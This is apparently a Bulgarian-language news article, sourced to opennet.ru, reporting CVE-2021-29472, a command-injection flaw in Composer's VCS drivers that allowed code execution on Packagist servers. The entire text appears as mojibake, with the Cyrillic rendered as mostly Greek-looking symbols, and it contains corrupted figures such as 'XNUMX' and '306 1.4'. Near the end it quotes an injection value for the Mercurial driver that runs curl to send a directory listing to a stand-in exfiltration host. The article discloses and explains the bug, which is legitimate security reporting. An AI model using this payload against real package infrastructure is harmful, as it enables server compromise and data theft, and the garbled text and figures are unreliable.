ΠΠ΅ΡΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΡΠΈΡΠ°Π½Π° ΠΊΡΠΈΡΠΈΡΠ½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡ (CVE-2021-29472) Π² ΠΌΠ΅Π½ΠΈΠ΄ΠΆΡΡΠ° Π½Π° Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΠΈ Π½Π° Composer, ΠΊΠΎΠΉΡΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ»Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π΄Π° Π±ΡΠ΄Π°Ρ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Π½ΠΈ Π² ΡΠΈΡΡΠ΅ΠΌΠ°ΡΠ° ΠΏΡΠΈ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΏΠ°ΠΊΠ΅Ρ ΡΡΡ ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ ΡΠΎΡΠΌΠ°ΡΠΈΡΠ°Π½Π° URL ΡΡΠΎΠΉΠ½ΠΎΡΡ, ΠΊΠΎΡΡΠΎ ΡΠΊΠ°Π·Π²Π° Π°Π΄ΡΠ΅ΡΠ° Π·Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½Π΅ Π½Π° ΠΈΠ·Ρ ΠΎΠ΄Π½ΠΈΡ ΠΊΠΎΠ΄. ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π²ΡΠ·Π½ΠΈΠΊΠ²Π° Π² ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½ΡΠΈΡΠ΅ GitDriver, SvnDriver ΠΈ HgDriver, ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½ΠΈ ΠΏΡΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΈ Π·Π° ΠΊΠΎΠ½ΡΡΠΎΠ» Π½Π° ΠΈΠ·ΡΠΎΡΠ½ΠΈΠΊΠ° Git, Subversion ΠΈ Mercurial. Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π±Π΅ΡΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½Π° Π² Π²Π΅ΡΡΠΈΠΈ 1.10.22 ΠΈ 2.0.13 Π½Π° Composer.
Π‘ΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ ΡΠ΅ ΠΎΡΠ±Π΅Π»ΡΠ·Π²Π°, ΡΠ΅ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡΡ Π·Π°ΡΡΠ³Π° ΠΏΡΠ΅Π΄ΠΈΠΌΠ½ΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ΡΠΎ Π½Π° ΠΏΠ°ΠΊΠ΅ΡΠΈ ΠΏΠΎ ΠΏΠΎΠ΄ΡΠ°Π·Π±ΠΈΡΠ°Π½Π΅ Π½Π° Composer, Packagist, ΠΊΠΎΠ΅ΡΠΎ ΡΡΠ΄ΡΡΠΆΠ° 306 1.4 ΠΏΠ°ΠΊΠ΅ΡΠ° Π·Π° PHP ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈ ΠΈ ΠΎΠ±ΡΠ»ΡΠΆΠ²Π° ΠΏΠΎΠ²Π΅ΡΠ΅ ΠΎΡ XNUMX ΠΌΠΈΠ»ΠΈΠ°ΡΠ΄Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡ Π½Π° ΠΌΠ΅ΡΠ΅Ρ. ΠΠΊΡΠΏΠ΅ΡΠΈΠΌΠ΅Π½ΡΡΡ ΠΏΠΎΠΊΠ°Π·Π°, ΡΠ΅ Π°ΠΊΠΎ ΠΈΠΌΠ° ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΡ Π·Π° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ°, Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ ΠΌΠΎΠ³Π°Ρ Π΄Π° ΠΏΠΎΠ»ΡΡΠ°Ρ ΠΊΠΎΠ½ΡΡΠΎΠ» Π½Π°Π΄ ΠΈΠ½ΡΡΠ°ΡΡΡΡΠΊΡΡΡΠ°ΡΠ° Π½Π° Packagist ΠΈ Π΄Π° ΠΏΡΠΈΡ Π²Π°Π½Π°Ρ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ Π½Π° ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ°ΡΠΈΡΠ΅ ΠΈΠ»ΠΈ Π΄Π° ΠΏΡΠ΅Π½Π°ΡΠΎΡΠ°Ρ ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½ΠΈΡΡΠ° Π½Π° ΠΏΠ°ΠΊΠ΅ΡΠΈ ΠΊΡΠΌ ΡΡΡΠ²ΡΡ Π½Π° ΡΡΠ΅ΡΠ° ΡΡΡΠ°Π½Π°, ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°ΠΉΠΊΠΈ Π΄ΠΎΡΡΠ°Π²ΠΊΠ°ΡΠ° Π½Π° Π²Π°ΡΠΈΠ°Π½ΡΠΈ Π½Π° ΠΏΠ°ΠΊΠ΅ΡΠΈ ΡΡΡ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ΠΈ ΠΏΡΠΎΠΌΠ΅Π½ΠΈ, Π·Π° Π΄Π° Π·Π°ΠΌΠ΅Π½ΡΡ Π·Π°Π΄Π½Π°ΡΠ° Π²ΡΠ°ΡΠ° ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΠΏΡΠΎΡΠ΅ΡΠ° Π½Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½Π΅ Π½Π° Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡΡΠ°.
ΠΠΏΠ°ΡΠ½ΠΎΡΡΡΠ° Π·Π° ΠΊΡΠ°ΠΉΠ½ΠΈΡΠ΅ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈ ΡΠ΅ ΠΎΠ³ΡΠ°Π½ΠΈΡΠ°Π²Π° Π΄ΠΎ ΡΠ°ΠΊΡΠ°, ΡΠ΅ ΡΡΠ΄ΡΡΠΆΠ°Π½ΠΈΠ΅ΡΠΎ Π½Π° composer.json ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ ΡΠ΅ ΠΎΠΏΡΠ΅Π΄Π΅Π»Ρ ΠΎΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ ΠΈ Π²ΡΡΠ·ΠΊΠΈΡΠ΅ ΠΊΡΠΌ ΠΈΠ·ΡΠΎΡΠ½ΠΈΠΊΠ° ΡΠ΅ ΠΏΡΠ΅Π΄Π°Π²Π°Ρ ΠΏΡΠΈ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ° Π½Π° ΡΡΠ΅ΡΠΈ ΡΡΡΠ°Π½ΠΈ, ΠΊΠΎΠΈΡΠΎ ΠΎΠ±ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΎ ΡΠ° Π½Π°Π΄Π΅ΠΆΠ΄Π½ΠΈ. ΠΡΠ½ΠΎΠ²Π½ΠΈΡΡ ΡΠ΄Π°Ρ ΠΏΠ°Π΄Π½Π° Π²ΡΡΡ Ρ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ΡΠΎ Packagist.org ΠΈ ΡΡΠ»ΡΠ³Π°ΡΠ° Private Packagist, ΠΊΠΎΡΡΠΎ Π½Π°ΡΠΈΡΠ° Composer Ρ ΠΏΡΠ΅Ρ Π²ΡΡΠ»ΡΠ½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ, ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΠΎΡ ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΠΈΡΠ΅. ΠΠ°ΠΏΠ°Π΄Π°ΡΠ΅Π»ΠΈΡΠ΅ Π±ΠΈΡ Π° ΠΌΠΎΠ³Π»ΠΈ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΡΡ ΡΠ²ΠΎΡ ΠΊΠΎΠ΄ Π½Π° ΡΡΡΠ²ΡΡΠΈΡΠ΅ Π½Π° Packagist, ΠΊΠ°ΡΠΎ ΠΏΠΎΡΡΠ°Π²ΡΡ ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΎ ΠΏΡΠΎΠ΅ΠΊΡΠΈΡΠ°Π½ ΠΏΠ°ΠΊΠ΅Ρ.
ΠΠΊΠΈΠΏΡΡ Π½Π° Packagist ΠΏΠΎΠΏΡΠ°Π²ΠΈ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ° Π² ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° 12 ΡΠ°ΡΠ° ΡΠ»Π΅Π΄ Π΄ΠΎΠΊΠ»Π°Π΄Π²Π°Π½Π΅ΡΠΎ Π½Π° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ°. ΠΠ·ΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΠΈΡΠ΅ ΡΠ°ΡΡΠ½ΠΎ ΡΠ²Π΅Π΄ΠΎΠΌΠΈΡ Π° ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΡΠΈΡΠ΅ Π½Π° Packagist Π½Π° 22 Π°ΠΏΡΠΈΠ» ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΡΡ Π±Π΅ΡΠ΅ ΠΎΡΡΡΡΠ°Π½Π΅Π½ ΡΡΡΠΈΡ Π΄Π΅Π½. ΠΡΠ±Π»ΠΈΡΠ½Π° Π°ΠΊΡΡΠ°Π»ΠΈΠ·Π°ΡΠΈΡ Π½Π° Composer, Π°Π΄ΡΠ΅ΡΠΈΡΠ°ΡΠ° ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ°, Π±Π΅ΡΠ΅ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½Π° Π½Π° 27 Π°ΠΏΡΠΈΠ», ΠΊΠ°ΡΠΎ ΠΏΠΎΠ΄ΡΠΎΠ±Π½ΠΎΡΡΠΈΡΠ΅ Π±ΡΡ Π° ΡΠ°Π·ΠΊΡΠΈΡΠΈ Π½Π° 28 Π°ΠΏΡΠΈΠ». ΠΠ΄ΠΈΡΡΡ Π½Π° ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π½Π° ΡΡΡΠ²ΡΡΠΈΡΠ΅ Π½Π° Packagist Π½Π΅ ΡΠ°Π·ΠΊΡΠΈ Π½ΠΈΠΊΠ°ΠΊΠ²Π° ΠΏΠΎΠ΄ΠΎΠ·ΡΠΈΡΠ΅Π»Π½Π° Π΄Π΅ΠΉΠ½ΠΎΡΡ, ΡΠ²ΡΡΠ·Π°Π½Π° Ρ ΡΡΠ·Π²ΠΈΠΌΠΎΡΡΡΠ°.
ΠΡΠΎΠ±Π»Π΅ΠΌΡΡ Π΅ ΠΏΡΠΈΡΠΈΠ½Π΅Π½ ΠΎΡ Π³ΡΠ΅ΡΠΊΠ° Π² ΠΊΠΎΠ΄Π° Π·Π° Π²Π°Π»ΠΈΠ΄ΠΈΡΠ°Π½Π΅ Π½Π° URL Π°Π΄ΡΠ΅ΡΠ° Π² ΠΎΡΠ½ΠΎΠ²Π½ΠΈΡ ΡΠ°ΠΉΠ» composer.json ΠΈ Π²ΡΡΠ·ΠΊΠΈΡΠ΅ Π·Π° ΠΈΠ·ΡΠ΅Π³Π»ΡΠ½Π΅ Π½Π° ΠΈΠ·ΡΠΎΡΠ½ΠΈΠΊΠ°. ΠΡΠ΅ΡΠΊΠ°ΡΠ° ΠΏΡΠΈΡΡΡΡΠ²Π° Π² ΠΊΠΎΠ΄Π° ΠΎΡ Π½ΠΎΠ΅ΠΌΠ²ΡΠΈ 2011 Π³. Packagist ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° ΡΠΏΠ΅ΡΠΈΠ°Π»Π½ΠΈ ΡΠ»ΠΎΠ΅Π²Π΅, Π·Π° Π΄Π° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ° Π·Π°ΡΠ΅ΠΆΠ΄Π°Π½Π΅ΡΠΎ Π½Π° ΠΊΠΎΠ΄, Π±Π΅Π· Π΄Π° Π΅ ΠΎΠ±Π²ΡΡΠ·Π°Π½ Ρ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½Π° ΡΠΈΡΡΠ΅ΠΌΠ° Π·Π° ΠΊΠΎΠ½ΡΡΠΎΠ» Π½Π° ΠΈΠ·ΡΠΎΡΠ½ΠΈΠΊΠ°, ΠΊΠΎΠΈΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°Ρ ΡΡΠ΅Π· ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π½Π° βfromShellCommandlineβ ΠΈ ΠΏΡΠ΅Π΄Π°Π²Π°Π½Π΅ Π½Π° Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΈ ΠΎΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΈΡ ΡΠ΅Π΄. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ Π·Π° git ΡΠ΅ ΠΈΠ·Π²ΠΈΠΊΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° βgit ls-remote -heads $URLβ, ΠΊΡΠ΄Π΅ΡΠΎ URL Π°Π΄ΡΠ΅ΡΡΡ ΡΠ΅ ΠΎΠ±ΡΠ°Π±ΠΎΡΠ²Π° Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΌΠ΅ΡΠΎΠ΄Π° βProcessExecutor::escape($url)β, ΠΈΠ·Π±ΡΠ³Π²Π°ΠΉΠΊΠΈ ΠΏΠΎΡΠ΅Π½ΡΠΈΠ°Π»Π½ΠΎ ΠΎΠΏΠ°ΡΠ½ΠΈ ΠΊΠΎΠ½ΡΡΡΡΠΊΡΠΈΠΈ ΠΊΠ°ΡΠΎ β$(. ..)" ΠΈΠ»ΠΈ "` ...`".
Π‘ΡΡΠ½ΠΎΡΡΡΠ° Π½Π° ΠΏΡΠΎΠ±Π»Π΅ΠΌΠ° Π΅, ΡΠ΅ ΠΌΠ΅ΡΠΎΠ΄ΡΡ ProcessExecutor::escape Π½Π΅ Π΅ ΠΈΠ·Π±ΡΠ³Π°Π» ΠΎΡ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»Π½ΠΎΡΡΡΠ° βββ, ΠΊΠΎΠ΅ΡΠΎ Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΠ»ΠΎ Π²ΡΠ΅ΠΊΠΈ Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π΅Π½ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ Π·Π° ΠΈΠ·Π²ΠΈΠΊΠ²Π°Π½Π΅ Π΄Π° Π±ΡΠ΄Π΅ ΡΠΊΠ°Π·Π°Π½ Π² URL Π°Π΄ΡΠ΅ΡΠ°. Π’Π°ΠΊΠΎΠ²Π° ΠΈΠ·Π±ΡΠ³Π²Π°Π½Π΅ Π»ΠΈΠΏΡΠ²Π°ΡΠ΅ Π² Π΄ΡΠ°ΠΉΠ²Π΅ΡΠΈΡΠ΅ GitDriver.php, SvnDriver.php ΠΈ HgDriver.php. ΠΡΠ°ΠΊΠ°ΡΠ° GitDriver.php Π±Π΅ΡΠ΅ Π²ΡΠ·ΠΏΡΠ΅ΠΏΡΡΡΡΠ²Π°Π½Π° ΠΎΡ ΡΠ°ΠΊΡΠ°, ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° βgit ls-remoteβ Π½Π΅ ΠΏΠΎΠ΄Π΄ΡΡΠΆΠ°ΡΠ΅ ΠΏΠΎΡΠΎΡΠ²Π°Π½Π΅ Π½Π° Π΄ΠΎΠΏΡΠ»Π½ΠΈΡΠ΅Π»Π½ΠΈ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΈ ΡΠ»Π΅Π΄ ΠΏΡΡΡ. ΠΡΠ°ΠΊΠ°ΡΠ° ΡΡΠ΅ΡΡ HgDriver.php ΡΠ΅ ΠΎΠΊΠ°Π·Π° Π²ΡΠ·ΠΌΠΎΠΆΠ½Π° ΡΡΠ΅Π· ΠΏΡΠ΅Π΄Π°Π²Π°Π½Π΅ Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° β--configβ Π½Π° ΠΏΠΎΠΌΠΎΡΠ½Π°ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° βhqβ, ΠΊΠΎΡΡΠΎ Π²ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π΄Π° ΠΎΡΠ³Π°Π½ΠΈΠ·ΠΈΡΠ°ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° Π²ΡΡΠΊΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΡΡΠ΅Π· ΠΌΠ°Π½ΠΈΠΏΡΠ»ΠΈΡΠ°Π½Π΅ Π½Π° Π½Π°ΡΡΡΠΎΠΉΠΊΠ°ΡΠ° βalias.identifyβ. ΠΠ°ΠΏΡΠΈΠΌΠ΅Ρ, Π·Π° Π΄Π° ΠΈΠ·ΡΠ΅Π³Π»ΠΈΡΠ΅ ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΠΈΡΠ΅ ΠΊΠΎΠ΄ ΡΡΠ΅Π· ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΏΠΎΠΌΠΎΡΠ½Π°ΡΠ° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ° curl, ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΏΠΎΡΠΎΡΠΈΡΠ΅: βconfig=alias.identify=!curl http://exfiltration-host.tld βdata β$(ls -alh)β
Π§ΡΠ΅Π· ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½Π΅ Π½Π° ΡΠ΅ΡΡΠΎΠ² ΠΏΠ°ΠΊΠ΅Ρ Ρ ΠΏΠΎΠ΄ΠΎΠ±Π΅Π½ URL Π½Π° Packagist, ΠΈΠ·ΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΠΈΡΠ΅ ΠΏΠΎΡΠ²ΡΡΠ΄ΠΈΡ
Π°, ΡΠ΅ ΡΠ»Π΅Π΄ ΠΏΡΠ±Π»ΠΈΠΊΡΠ²Π°Π½Π΅ΡΠΎ ΡΠ΅Ρ
Π½ΠΈΡΡ ΡΡΡΠ²ΡΡ Π΅ ΠΏΠΎΠ»ΡΡΠΈΠ» HTTP Π·Π°ΡΠ²ΠΊΠ° ΠΎΡ Π΅Π΄ΠΈΠ½ ΠΎΡ ΡΡΡΠ²ΡΡΠΈΡΠ΅ Π½Π° Packagist Π² AWS, ΡΡΠ΄ΡΡΠΆΠ°ΡΠ° ΡΠΏΠΈΡΡΠΊ Ρ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Π² ΡΠ΅ΠΊΡΡΠ°ΡΠ° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: opennet.ru